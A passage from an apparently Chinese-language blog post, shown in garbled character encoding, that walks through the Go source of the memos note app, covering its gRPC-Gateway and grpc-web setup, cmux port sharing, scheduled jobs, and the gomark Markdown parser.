ï¼ç¨äºè¿åä¸ä¸ª HTTP Muxï¼åç»å°±å¯ä»¥äº¤ç»ä»»æç Go HTTP æ¡æ¶å»è°ç¨ãä¸é¢èªå¨çæç <code>v1pb.RegisterXXXServiceHandler</code> è¿äºè·¯ç± Handlerï¼å°±æ¯æ¥èªäºä¸æ proto æ件éç <code>google.api.http</code> 注解ã</p>
<p>æåå°è¿ä¸ª HTTP Mux å
èµ·æ¥äº¤ç» echo æ¡æ¶ç handlerï¼æ¾å¨äº <code>/api/v1/*</code> è·¯ç±ä¸ãè¿æ ·æ们就å®ç°äº RESTful é£æ ¼ç APIã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// RegisterGateway registers the gRPC-Gateway with the given Echo instance.</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (s <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service) <span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx context.Context, echoServer <span style="color:#ff7b72;font-weight:bold">*</span>echo.Echo) <span style="color:#ff7b72">error</span> {
</span></span><span style="display:flex;"><span> conn, err <span style="color:#ff7b72;font-weight:bold">:=</span> grpc.<span style="color:#d2a8ff;font-weight:bold">NewClient</span>(
</span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Sprintf</span>(<span style="color:#a5d6ff">"%s:%d"</span>, s.Profile.Addr, s.Profile.Port),
</span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">WithTransportCredentials</span>(insecure.<span style="color:#d2a8ff;font-weight:bold">NewCredentials</span>()),
</span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">WithDefaultCallOptions</span>(grpc.<span style="color:#d2a8ff;font-weight:bold">MaxCallRecvMsgSize</span>(math.MaxInt32)),
</span></span><span style="display:flex;"><span> )
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> gwMux <span style="color:#ff7b72;font-weight:bold">:=</span> runtime.<span style="color:#d2a8ff;font-weight:bold">NewServeMux</span>()
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceServiceHandler</span>(ctx, gwMux, conn); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// ...</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterIdentityProviderServiceHandler</span>(ctx, gwMux, conn); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> gwGroup <span style="color:#ff7b72;font-weight:bold">:=</span> echoServer.<span style="color:#d2a8ff;font-weight:bold">Group</span>(<span style="color:#a5d6ff">""</span>)
</span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Use</span>(middleware.<span style="color:#d2a8ff;font-weight:bold">CORS</span>())
</span></span><span style="display:flex;"><span> handler <span style="color:#ff7b72;font-weight:bold">:=</span> echo.<span style="color:#d2a8ff;font-weight:bold">WrapHandler</span>(gwMux)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">"/api/v1/*"</span>, handler)
</span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">"/file/*"</span>, handler)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// GRPC web proxy.</span>
</span></span><span style="display:flex;"><span> options <span style="color:#ff7b72;font-weight:bold">:=</span> []grpcweb.Option{
</span></span><span style="display:flex;"><span> grpcweb.<span style="color:#d2a8ff;font-weight:bold">WithCorsForRegisteredEndpointsOnly</span>(<span style="color:#79c0ff">false</span>),
</span></span><span style="display:flex;"><span> grpcweb.<span style="color:#d2a8ff;font-weight:bold">WithOriginFunc</span>(<span style="color:#ff7b72">func</span>(_ <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">bool</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span>
</span></span><span style="display:flex;"><span> }),
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> wrappedGrpc <span style="color:#ff7b72;font-weight:bold">:=</span> grpcweb.<span style="color:#d2a8ff;font-weight:bold">WrapServer</span>(s.grpcServer, options<span style="color:#ff7b72;font-weight:bold">...</span>)
</span></span><span style="display:flex;"><span> echoServer.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">"/memos.api.v1.*"</span>, echo.<span style="color:#d2a8ff;font-weight:bold">WrapHandler</span>(wrappedGrpc))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>ä¸é¢è¿å£°æäºä¸ä¸ª gRPC Web Proxyï¼è¿ä¸ªæ¯ç¨ HTTP çæ¹å¼æ¥è° gRPCã使ç¨ç <code>grpcweb</code> å
ï¼è°ç¨æ¥å£ä¼ å并ä¸æ¯ç¨ç Query æè
Bodyï¼èæ¯ protobuf å°åæ°åºåååååéé£å¥ãè·èµ°çº¯ TCP ç¸æ¯ï¼ä»
ä»
åªæ¯è¿éèµ°çæ¯ HTTP 请æ±èå·²ãæ¢å¥è¯è¯´ï¼å°±æ¯è®©æµè§å¨è½è· gRPC Server éä¿¡äºã</p>
<p>èæµè§å¨ä¸è°ç¨ä¼æåæºè·¨åçé®é¢ï¼æ以å¯ä»¥çå°è¿éç <code>grpcweb.Option</code> ä¹æ¯ééè§£å³ CORS å Originã</p>
<p>å¸æçå°è¿éä½ æ²¡è¢«ç»æãä½ ä¼åç°ï¼<strong>memos å
¶å®æ¯ç¨ HTTP å®ç°äºä¸¤å¥æå¡ï¼RESTful API å gRPC Server API</strong>ãè¿ä¸¤å¥èåçä¸å¡é»è¾é½æ¯ä¸æ ·çï¼ä¸é½æ¯ä½¿ç¨ HTTP åè®®ï¼ä¸åç¹å¨äºè·¯ç±åä¼ åçæ¹å¼ä¸ä¸æ ·ã</p>
<h3 id="端å£å¤ç¨">端å£å¤ç¨</h3>
<p>æ个æ¯è¾æ½è±¡çå°ç»èä¸ç¥éä½ åç°äºæ²¡æï¼gRPC Server -> gRPC Server API åªéè¦ç¨ grpcweb å
ä¸ä¸å°±è¡äºï¼ä½ RESTful API éè¦åæ¬å°å»ºä¸ä¸ª gRPC Clientï¼ç¶åè¿ä¸ª Client èªå·±è¯·æ±æ¬å°ç Serverãæ´æ¡é¾è·¯æ¯ HTTP Mux -> Handler Func -> gRPC Client -> gRPC Serverãèè¿ä¸ª gRPC Client çå¬ç端å£ï¼å±
ç¶ä¸å¯¹å¤ç HTTP æå¡ç端å£æ¯ä¸æ ·çï¼</p>
<p>æ¢å¥è¯è¯´ï¼å°±æ¯ <strong>gRPC Server å echo HTTP Server å¤ç¨äºåä¸ä¸ªç«¯å£</strong>ã</p>
<p>è¿éæ¯ä½¿ç¨äº <a href="http://github.com/soheilhy/cmux">github.com/soheilhy/cmux</a> è¿ä¸ªåºæ¥å®ç°ãè¿ä¸ªåºæ¯æå®ä¹ Matcher æ¡ä»¶ï¼åªä¸ªå¹é
ä¸äºå°±èµ°åªä¸ªç Serveã</p>
<p>å gRPC Server å¨éè¿ HTTP è°ç¨æ¶ï¼éè¿ Body åé Protobuf æ¥æï¼<code>Content-Type</code> 为 <code>application/grpc</code>ï¼è RESTful API åæ¯å¸¸è§ç HTTP 请æ±ï¼é¤äº <code>PATCH</code> æ¹æ³å¤é½ä¼å½ä¸ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>muxServer <span style="color:#ff7b72;font-weight:bold">:=</span> cmux.<span style="color:#d2a8ff;font-weight:bold">New</span>(listener)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() {
</span></span><span style="display:flex;"><span> grpcListener <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">MatchWithWriters</span>(cmux.<span style="color:#d2a8ff;font-weight:bold">HTTP2MatchHeaderFieldSendSettings</span>(<span style="color:#a5d6ff">"content-type"</span>, <span style="color:#a5d6ff">"application/grpc"</span>))
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> s.grpcServer.<span style="color:#d2a8ff;font-weight:bold">Serve</span>(grpcListener); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"failed to serve gRPC"</span>, <span style="color:#a5d6ff">"error"</span>, err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}()
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() {
</span></span><span style="display:flex;"><span> httpListener <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">Match</span>(cmux.<span style="color:#d2a8ff;font-weight:bold">HTTP1Fast</span>(http.MethodPatch))
</span></span><span style="display:flex;"><span> s.echoServer.Listener = httpListener
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> s.echoServer.<span style="color:#d2a8ff;font-weight:bold">Start</span>(address); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"failed to start echo server"</span>, <span style="color:#a5d6ff">"error"</span>, err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}()
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">Serve</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"mux server listen error"</span>, <span style="color:#a5d6ff">"error"</span>, err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}()
</span></span></code></pre></div><p>è¿é对 gRPC çæä½å±å®å¦åï¼ç«¯å£å¤ç¨çæä½æ´æ¯ä¸ç»ãæ³èµ·æä¹åæ个 Side Projectï¼æ¢éè¦è·å¯¹å¤ç Web Server å端ï¼åéè¦è·å¯¹å
ç API Server å端ï¼å½æ¶çåæ³æ¯çå¬ä¸¤ä¸ªä¸å端å£ï¼ç°å¨æ³æ¥å¯ä»¥ç¨ cmux æ¥å®ç°ç«¯å£å¤ç¨äºã</p>
<h3 id="梦å¼å§çå°æ¹">梦å¼å§çå°æ¹</h3>
<p>é£ä¹è¯·é®ï¼ä¸è¿°è¿ç§æç§ä¹¦çº§å«ç Protobuf å gRPC çç¨æ³ï¼æ¯æ¥èªäºåªéçå¢ï¼</p>
<p>æè§å¯å° memos çä½è
å±
ç¶ä¹ç» Bytebase æ交è¿ä»£ç ï¼å¥½å®¶ä¼ï¼èç人åãåæ¶ï¼æå¨ Bytebase çä»åºéï¼æ¾å°äº <a href="https://github.com/bytebase/bytebase/pull/3751">#3751</a> è¿ä¸ª PRã<del>ï¼ä¸æ¶ä¹æºï¼</del></p>
<p>å¨ 2022 å¹´ 12 æï¼å¥½åå°±æ¯ DevJoy ç»æåä¸ä¸ªæï¼ï¼Bytebase ä»åºå¼å
¥äºç¬¬ä¸ä¸ª proto æ件ãä»æ¤ä¾¿ä¸åä¸å¯æ¶æ¾ï¼åå
ç Web API å
¨é½åæäº gRPC Server çåæ³ï¼åæ¶ä¹å¼å§ä½¿ç¨ Buf æ¥ç®¡ç proto æ件ãmemos çä½è
ä½ä¸ºåé¢å å
¥ Bytebase çåå·¥ï¼ä¹æ¯å° Bytebase å¯¹äº gRPC çæä½³å®è·µï¼ç¨å¨äºä»ç Side Projectï¼ä¹å°±æ¯ memos ä¸ã</p>
<p>ææ³å¤§æ¦æ¯è¿ä¹ä¸ªæ
äºæ
èå§ãð</p>
<h2 id="å®æ¶ä»»å¡">å®æ¶ä»»å¡</h2>
<p>memos å
é¨èªè¡å®ç°äºä¸ä¸ªå¾åºç¡çå®æ¶ä»»å¡ã为ä»ä¹è¯´å¾åºç¡å¢ï¼å 为就æ¯ä½¿ç¨ <code>time.NewTicker</code> æ¥åçãæ¯ä¸ªå®æ¶ä»»å¡ç Runner é½ä¼å®ç° <code>Run()</code> å <code>RunOnce()</code> 两个æ¹æ³ï¼è¿éå¯è½å¯ä»¥å®ä¹æä¸ä¸ªæ¥å£ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (r <span style="color:#ff7b72;font-weight:bold">*</span>Runner) <span style="color:#d2a8ff;font-weight:bold">Run</span>(ctx context.Context) {
</span></span><span style="display:flex;"><span> ticker <span style="color:#ff7b72;font-weight:bold">:=</span> time.<span style="color:#d2a8ff;font-weight:bold">NewTicker</span>(runnerInterval)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">defer</span> ticker.<span style="color:#d2a8ff;font-weight:bold">Stop</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">select</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold"><-</span>ticker.C:
</span></span><span style="display:flex;"><span> r.<span style="color:#d2a8ff;font-weight:bold">RunOnce</span>(ctx)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold"><-</span>ctx.<span style="color:#d2a8ff;font-weight:bold">Done</span>():
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>ä¸ä¸ªå®æ¶ä»»å¡åå«æ¯ <code>s3presign</code> <code>version</code> <code>memopreperty</code> ã</p>
<ul>
<li>
<p><code>s3presign</code> æ¯ 12 个å°æ¶éåä¸æ³¢æ°æ®åºä¸åå¨çä¸ä¼ å° S3 çèµæºï¼å°ä¸´æ¶ URL æææä¸å°ä¸å¤©çèµæºï¼éæ°è°ç¨ S3 SDK ä¸ç PreSign ç¾ä¸ä¸ªäºå¤©çä¸´æ¶ URLãmemos å¨æ°æ®åºä¸åå¨å¾ççèµæºçä¸´æ¶ URLï¼æè§æ¯ä¸ºäºé²æ¢ç§æç¬è®°ä¸çèµæº URL æ³é²ãä½¿ç¨ PreSign URL åï¼å³ä½¿å°å
¬å¼ç¬è®°è½¬ä¸ºç§æï¼ä¹åçé¾æ¥å¨äºå¤©åä¹å°±è¿æäºã</p>
</li>
<li>
<p><code>version</code> æ¯ 8 个å°æ¶è¯·æ± memos èªå·±ç API è·åå½å memos çææ°çæ¬ãå¤æçæ¬è½å并ä¸æ°æ®åºä¸ä¹åè¿æ²¡æè¿çæ¬æ´æ°æéçè¯ï¼å°±æ°å¢ä¸æ¡ <code>Activity</code> è®°å½ï¼å¹¶å°è¯¥ <code>Activity</code> å å°ç®¡çåè´¦å·ç Inbox æ¶ä»¶ç®±ä¸ã让管çåæ¶å°çæ¬æ´æ°çæ¶æ¯ã</p>
<p>å
¶ä¸ <code>GetLatestVersion</code> è·åææ°çæ¬çå½æ°ï¼è§£æ请æ±ä½è¿éï¼æè§å¯ä»¥è¿ä¸æ¥ç²¾ç®æä¸è¡ã</p>
<p><strong>BEFORE</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>buf <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&</span>bytes.Buffer{}
</span></span><span style="display:flex;"><span>_, err = buf.<span style="color:#d2a8ff;font-weight:bold">ReadFrom</span>(response.Body)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">""</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"fail to read response body"</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>version <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">""</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err = json.<span style="color:#d2a8ff;font-weight:bold">Unmarshal</span>(buf.<span style="color:#d2a8ff;font-weight:bold">Bytes</span>(), <span style="color:#ff7b72;font-weight:bold">&</span>version); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">""</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"fail to unmarshal get version response"</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><strong>AFTER</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>json.<span style="color:#d2a8ff;font-weight:bold">NewDecoder</span>(response.Body).<span style="color:#d2a8ff;font-weight:bold">Decode</span>(<span style="color:#ff7b72;font-weight:bold">&</span>version)
</span></span></code></pre></div></li>
<li>
<p><code>memopreperty</code> æ¯ 12 å°æ¶éåä¸éææ Payload 为空ç memos ç¬è®°ï¼ä»å®çå
容ä¸è§£æåº Tagãé¾æ¥ã代ç åçå±æ§ï¼ä¿åå° memos ç Property ä¸ãè¿ä¸ªå½æ°å¨å建ãä¿®æ¹ãæ´æ° MemoTag æ¶é½ä¼è°ç¨ãé¢å¤å å°å®æ¶ä»»å¡ä¸åºåï¼åºè¯¥æ¯ä¸ºäºå
åºã</p>
</li>
</ul>
<h2 id="gomark">gomark</h2>
<p>对äºç¨æ·æ¯ä¸ç¯ææ¬ç¬è®°ï¼memos é½ä¼ä½¿ç¨ <a href="https://github.com/usememos/gomark">github.com/usememos/gomark</a> åºæ¥åç»æåç解æãå°ææ¬å
容解ææä¸åç±»åç Go ç»æä½åï¼ä»¥å®ç°å° Markdown æ ¼å¼è½¬çº¯ææ¬ãç¬è®° Tag æåçåè½ã</p>
<p>è¿éç®åæ解ä¸ä¸è¿ä¸ªå
çç»æååçï¼æ¬è´¨ä¸åæ¯æææ¬è¿è¡è¯æ³åæ转æ¢ä¸º Tokensï¼æ建 AST æ½è±¡è¯æ³æ ï¼ç¶åéè¿éå AST å®ç°ä¸è¿°æå°çåè½ãgomark 好就好å¨ä»åè½ç®åä½å
¨é¢ï¼å¾éååæè¿ç§ä»æ²¡å¦è¿ç¼è¯åççè鸡ã</p>
<p><code>parser/tokenizer/tokenizers.go</code> ä¸å®ä¹äºåç§ Token çç±»åï¼å¦ä¸å线ãæå·ãäºå·ãç©ºæ ¼ãæ¢è¡çï¼åºæ¬ä¸å°±æ¯å¨ Markdown ä¸å«æè¯ä¹æåçå符ï¼é½ä¼ä½ä¸ºä¸ä¸ª Token ç±»åãæ£æå
容å为 <code>Number</code> æ°åå <code>Text</code> ææ¬ä¸¤ç§ Token ç±»åã</p>
<p><code>Tokenize(text string) []*Token</code> å½æ°å°±æ¯å¾æ åçä¼ å
¥ <code>text</code> å符串ï¼æ¨ä¸ªå符 switch-caseï¼ç¶å转æ¢ä¸º Token ç»æä½æ·»å å°åçä¸ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> prevToken <span style="color:#ff7b72;font-weight:bold">*</span>Token
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> len(tokens) > <span style="color:#a5d6ff">0</span> {
</span></span><span style="display:flex;"><span> prevToken = tokens[len(tokens)<span style="color:#ff7b72;font-weight:bold">-</span><span style="color:#a5d6ff">1</span>]
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>isNumber <span style="color:#ff7b72;font-weight:bold">:=</span> c <span style="color:#ff7b72;font-weight:bold">>=</span> <span style="color:#a5d6ff">'0'</span> <span style="color:#ff7b72;font-weight:bold">&&</span> c <span style="color:#ff7b72;font-weight:bold"><=</span> <span style="color:#a5d6ff">'9'</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> prevToken <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (prevToken.Type <span style="color:#ff7b72;font-weight:bold">==</span> Text <span style="color:#ff7b72;font-weight:bold">&&</span> !isNumber) <span style="color:#ff7b72;font-weight:bold">||</span> (prevToken.Type <span style="color:#ff7b72;font-weight:bold">==</span> Number <span style="color:#ff7b72;font-weight:bold">&&</span> isNumber) {
</span></span><span style="display:flex;"><span> prevToken.Value <span style="color:#ff7b72;font-weight:bold">+=</span> string(c)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">continue</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> isNumber {
</span></span><span style="display:flex;"><span> tokens = append(tokens, <span style="color:#d2a8ff;font-weight:bold">NewToken</span>(Number, string(c)))
</span></span><span style="display:flex;"><span>} <span style="color:#ff7b72">else</span> {
</span></span><span style="display:flex;"><span> tokens = append(tokens, <span style="color:#d2a8ff;font-weight:bold">NewToken</span>(Text, string(c)))
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>对äºä¸å¨ä¸è¿° Markdown è¯ä¹ä¸çå符ï¼åå¤ææ¯å¦ä¸ºæ°å 0-9ï¼å¦ææ¯çè¯è¯´ææ¯ä¸ä¸ª <code>Number</code> æ°å Tokenï¼åæ¶è¿éè¦çä¸ä¸ä¸ä¸ª Token æ¯ä¸æ¯ä¹æ¯æ°åï¼å¦ææ¯çè¯ä»ä¿©å°±æ¯æ¨ä¸èµ·çï¼å
±åç»æäºä¸ä¸ª <code>Number</code> Tokenã<code>Text</code> ææ¬ Token ä¹æ¯ä¸æ ·çé»è¾ï¼å°æ¨ççææ¬å符ç»ä¸ä¸ºä¸ä¸ª <code>Text</code> Tokenã</p>
<p>Token æåå®åï¼å°±å¼å§æ建 AST äºã</p>
<p><code>ast</code> ç®å½ä¸æ <code>inline.go</code> å <code>block.go</code> 两个æ件ãåè
å®ä¹äºå个èç¹ç±»åï¼å¦æ®éçææ¬èç¹ãå ç²ãæä½ãé¾æ¥ãäºå·æ ç¾çï¼åè
å®ä¹äºå¤ä¸ªæ®éèç¹ç»æçéåèç¹ï¼å¦æ®µè½ã代ç åãæ é¢ãæåºæ éå表ãå¤éæ¡çã</p>
<p><code>parser/parser.go</code> éå®ä¹ç <code>ParseXXX</code> å½æ°å°ç¬¬ä¸æ¥ç <code>[]*tokenizer.Token</code> 解ææ <code>[]ast.Node</code> ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>nodes <span style="color:#ff7b72;font-weight:bold">:=</span> []ast.Node{}
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">for</span> len(tokens) > <span style="color:#a5d6ff">0</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, blockParser <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> blockParsers {
</span></span><span style="display:flex;"><span> node, size <span style="color:#ff7b72;font-weight:bold">:=</span> blockParser.<span style="color:#d2a8ff;font-weight:bold">Match</span>(tokens)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> node <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> <span style="color:#ff7b72;font-weight:bold">&&</span> size <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">0</span> {
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Consume matched tokens.</span>
</span></span><span style="display:flex;"><span> tokens = tokens[size:]
</span></span><span style="display:flex;"><span> nodes = append(nodes, node)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>æ¬è´¨ä¸ä¹è¿æ¯å° Tokens 丢ç»ææç <code>BlockParser</code> å¨ for 循ç¯éè¿ä¸éï¼ <code>BlockParser</code> æ¥å£å®ç° <code>Match()</code> æ¹æ³ï¼ä¸åç Node ä¼ä¸æ¬¡æ§è¯»åä¸åæ°éç Tokensï¼å¤ææ ¼å¼æ¯å¦æ»¡è¶³ Node çè¦æ±ï¼æ¥ç¡®å®è¿äº Tokens æ¯å¦ç»æäºè¿ä¸ª NodeãMatch ä¸äºåä¼è¿åçæç Node åå¹é
ä¸ç Tokens é¿åº¦ï¼æªå»è¿ä¸ª Node å¹é
ç Tokensï¼å©ä¸ç Tokens 继ç»è½®ä¸éææç <code>BlockParser</code>ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> defaultInlineParsers = []InlineParser{
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewEscapingCharacterParser</span>(),
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewHTMLElementParser</span>(),
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewBoldItalicParser</span>(),
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewImageParser</span>(),
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewReferencedContentParser</span>(),
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewTagParser</span>(),
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewStrikethroughParser</span>(),
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewLineBreakParser</span>(),
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewTextParser</span>(),
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>å¼å¾æ³¨æçæ¯ï¼è¿äº <code>BlockParser</code> ç顺åºåºè¯¥æ¯æ讲究çãåææ®éçãæ容æå¹é
ä¸ç <code>Text</code> 纯ææ¬ç±»åï¼åºè¯¥æ¾å¨æåãå½åé¢ææç Parser é½æ²¡å¹é
ä¸æ¶ï¼æ说æè¿ä¸ª Token æ¯ææ¬ç±»åç Nodeãå¦ææ <code>TextParser</code> æ¾æåé¢ï¼é£ä¼°è®¡ææç Tokens é½ä¼è¢«å¹é
æææ¬ Nodeã</p>
<p>å° Tokens 转æ¢ä¸º AST ä¸ç Nodes åï¼æåè¿æ个 <code>mergeListItemNodes</code> å½æ°ï¼æ¯ç¨æ¥ç¹æ®å¤ç <code>List</code> å表èç¹çãå¦å¨å表çæåå ä¸æ¢è¡ç¬¦ï¼å¤æå表项æ¯è¦ææ两个å表èç¹è¿æ¯æ·»å å°æ«å°¾ã</p>
